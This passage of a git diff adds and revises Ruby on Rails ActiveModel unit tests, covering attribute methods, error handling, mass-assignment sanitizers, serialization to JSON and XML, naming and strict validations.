b/activemodel/test/cases/attribute_methods_test.rb @@ -3,8 +3,6 @@ require 'cases/helper' class ModelWithAttributes include ActiveModel::AttributeMethods - attribute_method_suffix '' - class << self define_method(:bar) do 'original bar' @@ -24,14 +22,31 @@ end class ModelWithAttributes2 include ActiveModel::AttributeMethods + attr_accessor :attributes + attribute_method_suffix '_test' + +private + def attribute(name) + attributes[name.to_s] + end + + alias attribute_test attribute + + def private_method + "<3 <3" + end + +protected + + def protected_method + "O_o O_o" + end end class ModelWithAttributesWithSpaces include ActiveModel::AttributeMethods - attribute_method_suffix '' - def attributes { :'foo bar' => 'value of foo bar'} end @@ -45,8 +60,6 @@ end class ModelWithWeirdNamesAttributes include ActiveModel::AttributeMethods - attribute_method_suffix '' - class << self define_method(:'c?d') do 'original c?d' @@ -76,9 +89,31 @@ class AttributeMethodsTest < ActiveModel::TestCase assert_equal "value of foo", ModelWithAttributes.new.foo end + test '#define_attribute_method does not generate attribute method if already defined in attribute module' do + klass = Class.new(ModelWithAttributes) + klass.generated_attribute_methods.module_eval do + def foo + '<3' + end + end + klass.define_attribute_method(:foo) + + assert_equal '<3', klass.new.foo + end + + test '#define_attribute_method generates a method that is already defined on the host' do + klass = Class.new(ModelWithAttributes) do + def foo + super + end + end + klass.define_attribute_method(:foo) + + assert_equal 'value of foo', klass.new.foo + end + test '#define_attribute_method generates attribute method with invalid identifier characters' do ModelWithWeirdNamesAttributes.define_attribute_method(:'a?b') - ModelWithWeirdNamesAttributes.define_attribute_method(:'a?b') assert_respond_to ModelWithWeirdNamesAttributes.new, :'a?b' assert_equal "value of a?b", ModelWithWeirdNamesAttributes.new.send('a?b') @@ -130,4 +165,64 @@ class AttributeMethodsTest < ActiveModel::TestCase assert !ModelWithAttributes.new.respond_to?(:foo) assert_raises(NoMethodError) { ModelWithAttributes.new.foo } end + + test 'acessing a suffixed attribute' do + m = ModelWithAttributes2.new + m.attributes = { 'foo' => 'bar' } + + assert_equal 'bar', m.foo + assert_equal 'bar', m.foo_test + end + + test 'explicitly specifying an empty prefix/suffix is deprecated' do + klass = Class.new(ModelWithAttributes) + + assert_deprecated { klass.attribute_method_suffix '' } + assert_deprecated { klass.attribute_method_prefix '' } + + klass.define_attribute_methods([:foo]) + + assert_equal 'value of foo', klass.new.foo + end + + test 'should not interfere with method_missing if the attr has a private/protected method' do + m = ModelWithAttributes2.new + m.attributes = { 'private_method' => '<3', 'protected_method' => 'O_o' } + + # dispatches to the *method*, not the attribute + assert_equal '<3 <3', m.send(:private_method) + assert_equal 'O_o O_o', m.send(:protected_method) + + # sees that a method is already defined, so doesn't intervene + assert_raises(NoMethodError) { m.private_method } + assert_raises(NoMethodError) { m.protected_method } + end + + test 'should not interfere with respond_to? if the attribute has a private/protected method' do + m = ModelWithAttributes2.new + m.attributes = { 'private_method' => '<3', 'protected_method' => 'O_o' } + + assert !m.respond_to?(:private_method) + assert m.respond_to?(:private_method, true) + + # This is messed up, but it's how Ruby works at the moment. Apparently it will be changed + # in the future. + assert m.respond_to?(:protected_method) + assert m.respond_to?(:protected_method, true) + end + + test 'should use attribute_missing to dispatch a missing attribute' do + m = ModelWithAttributes2.new + m.attributes = { 'foo' => 'bar' } + + def m.attribute_missing(match, *args, &block) + match + end + + match = m.foo_test + + assert_equal 'foo', match.attr_name + assert_equal 'attribute_test', match.target + assert_equal 'foo_test', match.method_name + end end diff --git a/activemodel/test/cases/conversion_test.rb b/activemodel/test/cases/conversion_test.rb index 7669bf5f65..24552bcaf2 100644 --- a/activemodel/test/cases/conversion_test.rb +++ b/activemodel/test/cases/conversion_test.rb @@ -1,5 +1,6 @@ require 'cases/helper' require 'models/contact' +require 'models/helicopter' class ConversionTest < ActiveModel::TestCase test "to_model default implementation returns self" do @@ -22,4 +23,10 @@ class ConversionTest < ActiveModel::TestCase test "to_param default implementation returns a string of ids for persisted records" do assert_equal "1", Contact.new(:id => 1).to_param end -end
\ No newline at end of file + + test "to_path default implementation returns a string giving a relative path" do + assert_equal "contacts/contact", Contact.new.to_partial_path + assert_equal "helicopters/helicopter", Helicopter.new.to_partial_path, + "ActiveModel::Conversion#to_partial_path caching should be class-specific" + end +end diff --git a/activemodel/test/cases/dirty_test.rb b/activemodel/test/cases/dirty_test.rb index 858ae9cb69..98244a6290 100644 --- a/activemodel/test/cases/dirty_test.rb +++ b/activemodel/test/cases/dirty_test.rb @@ -106,4 +106,13 @@ class DirtyTest < ActiveModel::TestCase assert_equal [nil, "Jericho Cane"], @model.previous_changes['name'] end + test "changing the same attribute multiple times retains the correct original value" do + @model.name = "Otto" + @model.save + @model.name = "DudeFella ManGuy" + @model.name = "Mr. Manfredgensonton" + assert_equal ["Otto", "Mr. Manfredgensonton"], @model.name_change + assert_equal @model.name_was, "Otto" + end + end diff --git a/activemodel/test/cases/errors_test.rb b/activemodel/test/cases/errors_test.rb index a24cac40ad..8ddedb160a 100644 --- a/activemodel/test/cases/errors_test.rb +++ b/activemodel/test/cases/errors_test.rb @@ -33,11 +33,18 @@ class ErrorsTest < ActiveModel::TestCase assert errors.include?(:foo), 'errors should include :foo' end + def test_has_key? + errors = ActiveModel::Errors.new(self) + errors[:foo] = 'omg' + assert errors.has_key?(:foo), 'errors should have key :foo' + end + test "should return true if no errors" do person = Person.new person.errors[:foo] assert person.errors.empty? assert person.errors.blank? + assert !person.errors.include?(:foo) end test "method validate! should work" do @@ -45,7 +52,6 @@ class ErrorsTest < ActiveModel::TestCase person.validate! assert_equal ["name can not be nil"], person.errors.full_messages assert_equal ["can not be nil"], person.errors[:name] - end test 'should be able to assign error' do @@ -60,6 +66,63 @@ class ErrorsTest < ActiveModel::TestCase assert_equal ["can not be blank"], person.errors[:name] end + test "should be able to add an error with a symbol" do + person = Person.new + person.errors.add(:name, :blank) + message = person.errors.generate_message(:name, :blank) + assert_equal [message], person.errors[:name] + end + + test "should be able to add an error with a proc" do + person = Person.new + message = Proc.new { "can not be blank" } + person.errors.add(:name, message) + assert_equal ["can not be blank"], person.errors[:name] + end + + test "added? should be true if that error was added" do + person = Person.new + person.errors.add(:name, "can not be blank") + assert person.errors.added?(:name, "can not be blank") + end + + test "added? should handle when message is a symbol" do + person = Person.new + person.errors.add(:name, :blank) + assert person.errors.added?(:name, :blank) + end + + test "added? should handle when message is a proc" do + person = Person.new + message = Proc.new { "can not be blank" } + person.errors.add(:name, message) + assert person.errors.added?(:name, message) + end + + test "added? should default message to :invalid" do + person = Person.new + person.errors.add(:name, :invalid) + assert person.errors.added?(:name) + end + + test "added? should be true when several errors are present, and we ask for one of them" do + person = Person.new + person.errors.add(:name, "can not be blank") + person.errors.add(:name, "is invalid") + assert person.errors.added?(:name, "can not be blank") + end + + test "added? should be false if no errors are present" do + person = Person.new + assert !person.errors.added?(:name) + end + + test "added? should be false when an error is present, but we check for another error" do + person = Person.new + person.errors.add(:name, "is invalid") + assert !person.errors.added?(:name, "can not be blank") + end + test 'should respond to size' do person = Person.new person.errors.add(:name, "can not be blank") @@ -71,7 +134,6 @@ class ErrorsTest < ActiveModel::TestCase person.errors.add(:name, "can not be blank") person.errors.add(:name, "can not be nil") assert_equal ["name can not be blank", "name can not be nil"], person.errors.to_a - end test 'to_hash should return an ordered hash' do @@ -79,4 +141,40 @@ class ErrorsTest < ActiveModel::TestCase person.errors.add(:name, "can not be blank") assert_instance_of ActiveSupport::OrderedHash, person.errors.to_hash end + + test 'full_messages should return an array of error messages, with the attribute name included' do + person = Person.new + person.errors.add(:name, "can not be blank") + person.errors.add(:name, "can not be nil") + assert_equal ["name can not be blank", "name can not be nil"], person.errors.to_a + end + + test 'full_message should return the given message if attribute equals :base' do + person = Person.new + assert_equal "press the button", person.errors.full_message(:base, "press the button") + end + + test 'full_message should return the given message with the attribute name included' do + person = Person.new + assert_equal "name can not be blank", person.errors.full_message(:name, "can not be blank") + end + + test 'should return a JSON hash representation of the errors' do + person = Person.new + person.errors.add(:name, "can not be blank") + person.errors.add(:name, "can not be nil") + person.errors.add(:email, "is invalid") + hash = person.errors.as_json + assert_equal ["can not be blank", "can not be nil"], hash[:name] + assert_equal ["is invalid"], hash[:email] + end + + test "generate_message should work without i18n_scope" do + person = Person.new + assert !Person.respond_to?(:i18n_scope) + assert_nothing_raised { + person.errors.generate_message(:name, :blank) + } + end end + diff --git a/activemodel/test/cases/helper.rb b/activemodel/test/cases/helper.rb index 01f0158678..2e860272a4 100644 --- a/activemodel/test/cases/helper.rb +++ b/activemodel/test/cases/helper.rb @@ -10,5 +10,4 @@ require 'active_support/core_ext/string/access' # Show backtraces for deprecated behavior for quicker cleanup. ActiveSupport::Deprecation.debug = true -require 'rubygems' require 'test/unit' diff --git a/activemodel/test/cases/mass_assignment_security/black_list_test.rb b/activemodel/test/cases/mass_assignment_security/black_list_test.rb index ed168bc016..0ec7f8719c 100644 --- a/activemodel/test/cases/mass_assignment_security/black_list_test.rb +++ b/activemodel/test/cases/mass_assignment_security/black_list_test.rb @@ -16,13 +16,5 @@ class BlackListTest < ActiveModel::TestCase assert_equal false, @black_list.deny?('first_name') end - test "sanitize attributes" do - original_attributes = { 'first_name' => 'allowed', 'admin' => 'denied', 'admin(1)' => 'denied' } - attributes = @black_list.sanitize(original_attributes) - - assert attributes.key?('first_name'), "Allowed key shouldn't be rejected" - assert !attributes.key?('admin'), "Denied key should be rejected" - assert !attributes.key?('admin(1)'), "Multi-parameter key should be detected" - end end diff --git a/activemodel/test/cases/mass_assignment_security/sanitizer_test.rb b/activemodel/test/cases/mass_assignment_security/sanitizer_test.rb index 9a73a5ad91..676937b5e1 100644 --- a/activemodel/test/cases/mass_assignment_security/sanitizer_test.rb +++ b/activemodel/test/cases/mass_assignment_security/sanitizer_test.rb @@ -3,36 +3,49 @@ require 'logger' require 'active_support/core_ext/object/inclusion' class SanitizerTest < ActiveModel::TestCase + attr_accessor :logger - class SanitizingAuthorizer - include ActiveModel::MassAssignmentSecurity::Sanitizer - - attr_accessor :logger - + class Authorizer < ActiveModel::MassAssignmentSecurity::PermissionSet def deny?(key) - key.in?(['admin']) + ['admin', 'id'].include?(key) end - end def setup - @sanitizer = SanitizingAuthorizer.new + @logger_sanitizer = ActiveModel::MassAssignmentSecurity::LoggerSanitizer.new(self) + @strict_sanitizer = ActiveModel::MassAssignmentSecurity::StrictSanitizer.new(self) + @authorizer = Authorizer.new end test "sanitize attributes" do original_attributes = { 'first_name' => 'allowed', 'admin' => 'denied' } - attributes = @sanitizer.sanitize(original_attributes) + attributes = @logger_sanitizer.sanitize(original_attributes, @authorizer) assert attributes.key?('first_name'), "Allowed key shouldn't be rejected" assert !attributes.key?('admin'), "Denied key should be rejected" end - test "debug mass assignment removal" do + test "debug mass assignment removal with LoggerSanitizer" do original_attributes = { 'first_name' => 'allowed', 'admin' => 'denied' } log = StringIO.new - @sanitizer.logger = Logger.new(log) - @sanitizer.sanitize(original_attributes) + self.logger = Logger.new(log) + @logger_sanitizer.sanitize(original_attributes, @authorizer) assert_match(/admin/, log.string, "Should log removed attributes: #{log.string}") end + test "debug mass assignment removal with StrictSanitizer" do + original_attributes = { 'first_name' => 'allowed', 'admin' => 'denied' } + assert_raise ActiveModel::MassAssignmentSecurity::Error do + @strict_sanitizer.sanitize(original_attributes, @authorizer) + end + end + + test "mass assignment insensitive attributes" do + original_attributes = {'id' => 1, 'first_name' => 'allowed'} + + assert_nothing_raised do + @strict_sanitizer.sanitize(original_attributes, @authorizer) + end + end + end diff --git a/activemodel/test/cases/mass_assignment_security/white_list_test.rb b/activemodel/test/cases/mass_assignment_security/white_list_test.rb index aa3596ad2a..737b55492a 100644 --- a/activemodel/test/cases/mass_assignment_security/white_list_test.rb +++ b/activemodel/test/cases/mass_assignment_security/white_list_test.rb @@ -16,13 +16,4 @@ class WhiteListTest < ActiveModel::TestCase assert_equal true, @white_list.deny?('admin') end - test "sanitize attributes" do - original_attributes = { 'first_name' => 'allowed', 'admin' => 'denied', 'admin(1)' => 'denied' } - attributes = @white_list.sanitize(original_attributes) - - assert attributes.key?('first_name'), "Allowed key shouldn't be rejected" - assert !attributes.key?('admin'), "Denied key should be rejected" - assert !attributes.key?('admin(1)'), "Multi-parameter key should be detected" - end - end diff --git a/activemodel/test/cases/mass_assignment_security_test.rb b/activemodel/test/cases/mass_assignment_security_test.rb index 43a12eed61..be07e59a2f 100644 --- a/activemodel/test/cases/mass_assignment_security_test.rb +++ b/activemodel/test/cases/mass_assignment_security_test.rb @@ -1,6 +1,15 @@ require "cases/helper" require 'models/mass_assignment_specific' + +class CustomSanitizer < ActiveModel::MassAssignmentSecurity::Sanitizer + + def process_removed_attributes(attrs) + raise StandardError + end + +end + class MassAssignmentSecurityTest < ActiveModel::TestCase def test_attribute_protection @@ -34,6 +43,20 @@ class MassAssignmentSecurityTest < ActiveModel::TestCase assert_equal expected, sanitized end + def test_attributes_accessible_with_roles_given_as_array + user = Account.new + expected = { "name" => "John Smith", "email" => "john@smith.com" } + sanitized = user.sanitize_for_mass_assignment(expected.merge("admin" => true)) + assert_equal expected, sanitized + end + + def test_attributes_accessible_with_admin_role_when_roles_given_as_array + user = Account.new + expected = { "name" => "John Smith", "email" => "john@smith.com", "admin" => true } + sanitized = user.sanitize_for_mass_assignment(expected.merge("super_powers" => true), :admin) + assert_equal expected, sanitized + end + def test_attributes_protected_by_default firm = Firm.new expected = { } @@ -76,4 +99,15 @@ class MassAssignmentSecurityTest < ActiveModel::TestCase assert_equal sanitized, { } end + def test_custom_sanitizer + user = User.new + User.mass_assignment_sanitizer = CustomSanitizer.new + assert_raise StandardError do + user.sanitize_for_mass_assignment("admin" => true) + end + ensure + User.mass_assignment_sanitizer = nil + + end + end diff --git a/activemodel/test/cases/naming_test.rb b/activemodel/test/cases/naming_test.rb index a7dde2c433..5f943729dd 100644 --- a/activemodel/test/cases/naming_test.rb +++ b/activemodel/test/cases/naming_test.rb @@ -26,7 +26,9 @@ class NamingTest < ActiveModel::TestCase end def test_partial_path - assert_equal 'post/track_backs/track_back', @model_name.partial_path + assert_deprecated(/#partial_path.*#to_partial_path/) do + assert_equal 'post/track_backs/track_back', @model_name.partial_path + end end def test_human @@ -56,7 +58,9 @@ class NamingWithNamespacedModelInIsolatedNamespaceTest < ActiveModel::TestCase end def test_partial_path - assert_equal 'blog/posts/post', @model_name.partial_path + assert_deprecated(/#partial_path.*#to_partial_path/) do + assert_equal 'blog/posts/post', @model_name.partial_path + end end def test_human @@ -98,7 +102,9 @@ class NamingWithNamespacedModelInSharedNamespaceTest < ActiveModel::TestCase end def test_partial_path - assert_equal 'blog/posts/post', @model_name.partial_path + assert_deprecated(/#partial_path.*#to_partial_path/) do + assert_equal 'blog/posts/post', @model_name.partial_path + end end def test_human @@ -114,6 +120,46 @@ class NamingWithNamespacedModelInSharedNamespaceTest < ActiveModel::TestCase end end +class NamingWithSuppliedModelNameTest < ActiveModel::TestCase + def setup + @model_name = ActiveModel::Name.new(Blog::Post, nil, 'Article') + end + + def test_singular + assert_equal 'article', @model_name.singular + end + + def test_plural + assert_equal 'articles', @model_name.plural + end + + def test_element + assert_equal 'article', @model_name.element + end + + def test_collection + assert_equal 'articles', @model_name.collection + end + + def test_partial_path + assert_deprecated(/#partial_path.*#to_partial_path/) do + assert_equal 'articles/article', @model_name.partial_path + end + end + + def test_human + assert_equal 'Article', @model_name.human + end + + def test_route_key + assert_equal 'articles', @model_name.route_key + end + + def test_param_key + assert_equal 'article', @model_name.param_key + end +end + class NamingHelpersTest < Test::Unit::TestCase def setup @klass = Contact @@ -171,4 +217,3 @@ class NamingHelpersTest < Test::Unit::TestCase ActiveModel::Naming.send(method, *args) end end - diff --git a/activemodel/test/cases/observing_test.rb b/activemodel/test/cases/observing_test.rb index 99b1f407ae..f6ec24ae57 100644 --- a/activemodel/test/cases/observing_test.rb +++ b/activemodel/test/cases/observing_test.rb @@ -17,6 +17,10 @@ class FooObserver < ActiveModel::Observer def on_spec(record) stub.event_with(record) if stub end + + def around_save(record) + yield :in_around_save + end end class Foo @@ -133,4 +137,12 @@ class ObserverTest < ActiveModel::TestCase foo = Foo.new Foo.send(:notify_observers, :whatever, foo) end + + test "update passes a block on to the observer" do + yielded_value = nil + FooObserver.instance.update(:around_save, Foo.new) do |val| + yielded_value = val + end + assert_equal :in_around_save, yielded_value + end end diff --git a/activemodel/test/cases/secure_password_test.rb b/activemodel/test/cases/secure_password_test.rb index 6950c3be1f..4338a3fc53 100644 --- a/activemodel/test/cases/secure_password_test.rb +++ b/activemodel/test/cases/secure_password_test.rb @@ -10,15 +10,13 @@ class SecurePasswordTest < ActiveModel::TestCase end test "blank password" do - user = User.new - user.password = '' - assert !user.valid?, 'user should be invalid' + @user.password = '' + assert !@user.valid?, 'user should be invalid' end test "nil password" do - user = User.new - user.password = nil - assert !user.valid?, 'user should be invalid' + @user.password = nil + assert !@user.valid?, 'user should be invalid' end test "password must be present" do diff --git a/activemodel/test/cases/serialization_test.rb b/activemodel/test/cases/serialization_test.rb index 8cc1ccb1e7..b8dad9d51f 100644 --- a/activemodel/test/cases/serialization_test.rb +++ b/activemodel/test/cases/serialization_test.rb @@ -1,13 +1,19 @@ require "cases/helper" +require 'active_support/core_ext/object/instance_variables' class SerializationTest < ActiveModel::TestCase class User include ActiveModel::Serialization - attr_accessor :name, :email, :gender + attr_accessor :name, :email, :gender, :address, :friends + + def initialize(name, email, gender) + @name, @email, @gender = name, email, gender + @friends = [] + end def attributes - @attributes ||= {'name' => 'nil', 'email' => 'nil', 'gender' => 'nil'} + instance_values.except("address", "friends") end def foo @@ -15,11 +21,25 @@ class SerializationTest < ActiveModel::TestCase end end + class Address + include ActiveModel::Serialization + + attr_accessor :street, :city, :state, :zip + + def attributes + instance_values + end + end + setup do - @user = User.new - @user.name = 'David' - @user.email = 'david@example.com' - @user.gender = 'male' + @user = User.new('David', 'david@example.com', 'male') + @user.address = Address.new + @user.address.street = "123 Lane" + @user.address.city = "Springfield" + @user.address.state = "CA" + @user.address.zip = 11111 + @user.friends = [User.new('Joe', 'joe@example.com', 'male'), + User.new('Sue', 'sue@example.com', 'female')] end def test_method_serializable_hash_should_work @@ -42,4 +62,90 @@ class SerializationTest < ActiveModel::TestCase assert_equal expected , @user.serializable_hash(:methods => [:foo]) end + def test_method_serializable_hash_should_work_with_only_and_methods + expected = {:foo=>"i_am_foo"} + assert_equal expected , @user.serializable_hash(:only => [], :methods => [:foo]) + end + + def test_method_serializable_hash_should_work_with_except_and_methods + expected = {"gender"=>"male", :foo=>"i_am_foo"} + assert_equal expected , @user.serializable_hash(:except => [:name, :email], :methods => [:foo]) + end + + def test_should_not_call_methods_that_dont_respond + expected = {"name"=>"David", "gender"=>"male", "email"=>"david@example.com"} + assert_equal expected , @user.serializable_hash(:methods => [:bar]) + end + + def test_should_use_read_attribute_for_serialization + def @user.read_attribute_for_serialization(n) + "Jon" + end + + expected = { "name" => "Jon" } + assert_equal expected, @user.serializable_hash(:only => :name) + end + + def test_include_option_with_singular_association + expected = {"name"=>"David", "gender"=>"male", "email"=>"david@example.com", + :address=>{"street"=>"123 Lane", "city"=>"Springfield", "state"=>"CA", "zip"=>11111}} + assert_equal expected , @user.serializable_hash(:include => :address) + end + + def test_include_option_with_plural_association + expected = {"email"=>"david@example.com", "gender"=>"male", "name"=>"David", + :friends=>[{"name"=>'Joe', "email"=>'joe@example.com', "gender"=>'male'}, + {"name"=>'Sue', "email"=>'sue@example.com', "gender"=>'female'}]} + assert_equal expected , @user.serializable_hash(:include => :friends) + end + + def test_include_option_with_empty_association + @user.friends = [] + expected = {"email"=>"david@example.com", "gender"=>"male", "name"=>"David", :friends=>[]} + assert_equal expected , @user.serializable_hash(:include => :friends) + end + + def test_multiple_includes + expected = {"email"=>"david@example.com", "gender"=>"male", "name"=>"David", + :address=>{"street"=>"123 Lane", "city"=>"Springfield", "state"=>"CA", "zip"=>11111}, + :friends=>[{"name"=>'Joe', "email"=>'joe@example.com', "gender"=>'male'}, + {"name"=>'Sue', "email"=>'sue@example.com', "gender"=>'female'}]} + assert_equal expected , @user.serializable_hash(:include => [:address, :friends]) + end + + def test_include_with_options + expected = {"email"=>"david@example.com", "gender"=>"male", "name"=>"David", + :address=>{"street"=>"123 Lane"}} + assert_equal expected , @user.serializable_hash(:include => {:address => {:only => "street"}}) + end + + def test_nested_include + @user.friends.first.friends = [@user] + expected = {"email"=>"david@example.com", "gender"=>"male", "name"=>"David", + :friends=>[{"name"=>'Joe', "email"=>'joe@example.com', "gender"=>'male', + :friends => [{"email"=>"david@example.com", "gender"=>"male", "name"=>"David"}]}, + {"name"=>'Sue', "email"=>'sue@example.com', "gender"=>'female', :friends => []}]} + assert_equal expected , @user.serializable_hash(:include => {:friends => {:include => :friends}}) + end + + def test_only_include + expected = {"name"=>"David", :friends => [{"name" => "Joe"}, {"name" => "Sue"}]} + assert_equal expected , @user.serializable_hash(:only => :name, :include => {:friends => {:only => :name}}) + end + + def test_except_include + expected = {"name"=>"David", "email"=>"david@example.com", + :friends => [{"name" => 'Joe', "email" => 'joe@example.com'}, + {"name" => "Sue", "email" => 'sue@example.com'}]} + assert_equal expected , @user.serializable_hash(:except => :gender, :include => {:friends => {:except => :gender}}) + end + + def test_multiple_includes_with_options + expected = {"email"=>"david@example.com", "gender"=>"male", "name"=>"David", + :address=>{"street"=>"123 Lane"}, + :friends=>[{"name"=>'Joe', "email"=>'joe@example.com', "gender"=>'male'}, + {"name"=>'Sue', "email"=>'sue@example.com', "gender"=>'female'}]} + assert_equal expected , @user.serializable_hash(:include => [{:address => {:only => "street"}}, :friends]) + end + end diff --git a/activemodel/test/cases/serializers/json_serialization_test.rb b/activemodel/test/cases/serializers/json_serialization_test.rb index 500a5c575f..a754d610b9 100644 --- a/activemodel/test/cases/serializers/json_serialization_test.rb +++ b/activemodel/test/cases/serializers/json_serialization_test.rb @@ -8,6 +8,12 @@ class Contact include ActiveModel::Serializers::JSON include ActiveModel::Validations + def attributes=(hash) + hash.each do |k, v| + instance_variable_set("@#{k}", v) + end + end + def attributes instance_values end unless method_defined?(:attributes) @@ -34,7 +40,7 @@ class JsonSerializationTest < ActiveModel::TestCase assert_match %r{"preferences":\{"shows":"anime"\}}, json end - test "should not include root in json" do + test "should not include root in json (class method)" do begin Contact.include_root_in_json = false json = @contact.to_json @@ -50,6 +56,23 @@ class JsonSerializationTest < ActiveModel::TestCase end end + test "should include root in json (option) even if the default is set to false" do + begin + Contact.include_root_in_json = false + json = @contact.to_json(:root => true) + assert_match %r{^\{"contact":\{}, json + ensure + Contact.include_root_in_json = true + end + end + + test "should not include root in json (option)" do + + json = @contact.to_json(:root => false) + + assert_no_match %r{^\{"contact":\{}, json + end + test "should include custom root in json" do json = @contact.to_json(:root => 'json_contact') @@ -135,6 +158,44 @@ class JsonSerializationTest < ActiveModel::TestCase end end + test "from_json should set the object's attributes" do + json = @contact.to_json + result = Contact.new.from_json(json) + + assert_equal result.name, @contact.name + assert_equal result.age, @contact.age + assert_equal Time.parse(result.created_at), @contact.created_at + assert_equal result.awesome, @contact.awesome + assert_equal result.preferences, @contact.preferences + end + + test "from_json should work without a root (method parameter)" do + json = @contact.to_json(:root => false) + result = Contact.new.from_json(json, false) + + assert_equal result.name, @contact.name + assert_equal result.age, @contact.age + assert_equal Time.parse(result.created_at), @contact.created_at + assert_equal result.awesome, @contact.awesome + assert_equal result.preferences, @contact.preferences + end + + test "from_json should work without a root (class attribute)" do + begin + Contact.include_root_in_json = false + json = @contact.to_json + result = Contact.new.from_json(json) + + assert_equal result.name, @contact.name + assert_equal result.age, @contact.age + assert_equal Time.parse(result.created_at), @contact.created_at + assert_equal result.awesome, @contact.awesome + assert_equal result.preferences, @contact.preferences + ensure + Contact.include_root_in_json = true + end + end + test "custom as_json should be honored when generating json" do def @contact.as_json(options); { :name => name, :created_at => created_at }; end json = @contact.to_json @@ -145,4 +206,14 @@ class JsonSerializationTest < ActiveModel::TestCase assert_no_match %r{"preferences":}, json end + test "custom as_json options should be extendible" do + def @contact.as_json(options = {}); super(options.merge(:only => [:name])); end + json = @contact.to_json + + assert_match %r{"name":"Konata Izumi"}, json + assert_no_match %r{"created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}}, json + assert_no_match %r{"awesome":}, json + assert_no_match %r{"preferences":}, json + end + end diff --git a/activemodel/test/cases/serializers/xml_serialization_test.rb b/activemodel/test/cases/serializers/xml_serialization_test.rb index f978191d22..fc73d9dcd8 100644 --- a/activemodel/test/cases/serializers/xml_serialization_test.rb +++ b/activemodel/test/cases/serializers/xml_serialization_test.rb @@ -7,9 +7,11 @@ class Contact extend ActiveModel::Naming include ActiveModel::Serializers::Xml + attr_accessor :address, :friends + def attributes - instance_values - end unless method_defined?(:attributes) + instance_values.except("address", "friends") + end end module Admin @@ -20,6 +22,23 @@ end class Customer < Struct.new(:name) end +class Address + extend ActiveModel::Naming + include ActiveModel::Serializers::Xml + + attr_accessor :street, :city, :state, :zip + + def attributes + instance_values + end +end + +class SerializableContact < Contact + def serializable_hash(options={}) + super(options.merge(:only => [:name, :age])) + end +end + class XmlSerializationTest < ActiveModel::TestCase def setup @contact = Contact.new @@ -30,6 +49,12 @@ class XmlSerializationTest < ActiveModel::TestCase customer = Customer.new customer.name = "John" @contact.preferences = customer + @contact.address = Address.new + @contact.address.street = "123 Lane" + @contact.address.city = "Springfield" + @contact.address.state = "CA" + @contact.address.zip = 11111 + @contact.friends = [Contact.new, Contact.new] end test "should serialize default root" do @@ -77,6 +102,17 @@ class XmlSerializationTest < ActiveModel::TestCase assert_match %r{<createdAt}, @xml end + test "should use serialiable hash" do + @contact = SerializableContact.new + @contact.name = 'aaron stack' + @contact.age = 25 + + @xml = @contact.to_xml + assert_match %r{<name>aaron stack</name>}, @xml + assert_match %r{<age type="integer">25</age>}, @xml + assert_no_match %r{<awesome>}, @xml + end + test "should allow skipped types" do @xml = @contact.to_xml :skip_types => true assert_match %r{<age>25</age>}, @xml @@ -138,4 +174,33 @@ class XmlSerializationTest < ActiveModel::TestCase assert_match %r{<contact type="Contact">}, xml assert_match %r{<name>aaron stack</name>}, xml end + + test "include option with singular association" do + xml = @contact.to_xml :include => :address, :indent => 0 + assert xml.include?(@contact.address.to_xml(:indent => 0, :skip_instruct => true)) + end + + test "include option with plural association" do + xml = @contact.to_xml :include => :friends, :indent => 0 + assert_match %r{<friends type="array">}, xml + assert_match %r{<friend type="Contact">}, xml + end + + test "multiple includes" do + xml = @contact.to_xml :indent => 0, :skip_instruct => true, :include => [ :address, :friends ] + assert xml.include?(@contact.address.to_xml(:indent => 0, :skip_instruct => true)) + assert_match %r{<friends type="array">}, xml + assert_match %r{<friend type="Contact">}, xml + end + + test "include with options" do + xml = @contact.to_xml :indent => 0, :skip_instruct => true, :include => { :address => { :only => :city } } + assert xml.include?(%(><address><city>Springfield</city></address>)) + end + + test "propagates skip_types option to included associations" do + xml = @contact.to_xml :include => :friends, :indent => 0, :skip_types => true + assert_match %r{<friends>}, xml + assert_match %r{<friend>}, xml + end end diff --git a/activemodel/test/cases/validations_test.rb b/activemodel/test/cases/validations_test.rb index 0b50acf913..2f4376bd41 100644 --- a/activemodel/test/cases/validations_test.rb +++ b/activemodel/test/cases/validations_test.rb @@ -297,4 +297,37 @@ class ValidationsTest < ActiveModel::TestCase assert auto.valid? end + + def test_strict_validation_in_validates + Topic.validates :title, :strict => true, :presence => true + assert_raises ActiveModel::StrictValidationFailed do + Topic.new.valid? + end + end + + def test_strict_validation_not_fails + Topic.validates :title, :strict => true, :presence => true + assert Topic.new(:title => "hello").valid? + end + + def test_strict_validation_particular_validator + Topic.validates :title, :presence => {:strict => true} + assert_raises ActiveModel::StrictValidationFailed do + Topic.new.valid? + end + end + + def test_strict_validation_in_custom_validator_helper + Topic.validates_presence_of :title, :strict => true + assert_raises ActiveModel::StrictValidationFailed do + Topic.new.valid? + end + end + + def test_validates_with_bang + Topic.validates! :title, :presence => true + assert_raises ActiveModel::StrictValidationFailed do + Topic.new.valid? + end + end end diff --git a/activemodel/test/models/helicopter.rb b/activemodel/test/models/helicopter.rb new file mode 100644 index 0000000000..a52b6fb4dd --- /dev/null +++ b/activemodel/test/models/helicopter.rb @@ -0,0 +1,3 @@ +class Helicopter + include ActiveModel::Conversion +end diff --git a/activemodel/test/models/mass_assignment_specific.rb b/activemodel/test/models/mass_assignment_specific.rb index 53b37369ff..1d123fa58c 100644 --- a/activemodel/test/models/mass_assignment_specific.rb +++ b/activemodel/test/models/mass_assignment_specific.rb @@ -20,6 +20,14 @@ class Person public :sanitize_for_mass_assignment end +class Account + include ActiveModel::MassAssignmentSecurity + attr_accessible :name, :email, :as => [:default, :admin] + attr_accessible :admin, :as => :admin + + public :sanitize_for_mass_assignment +end + class Firm include ActiveModel::MassAssignmentSecurity @@ -65,4 +73,4 @@ end class TightDescendant < TightPerson attr_accessible :phone_number attr_accessible :super_powers, :as => :admin -end
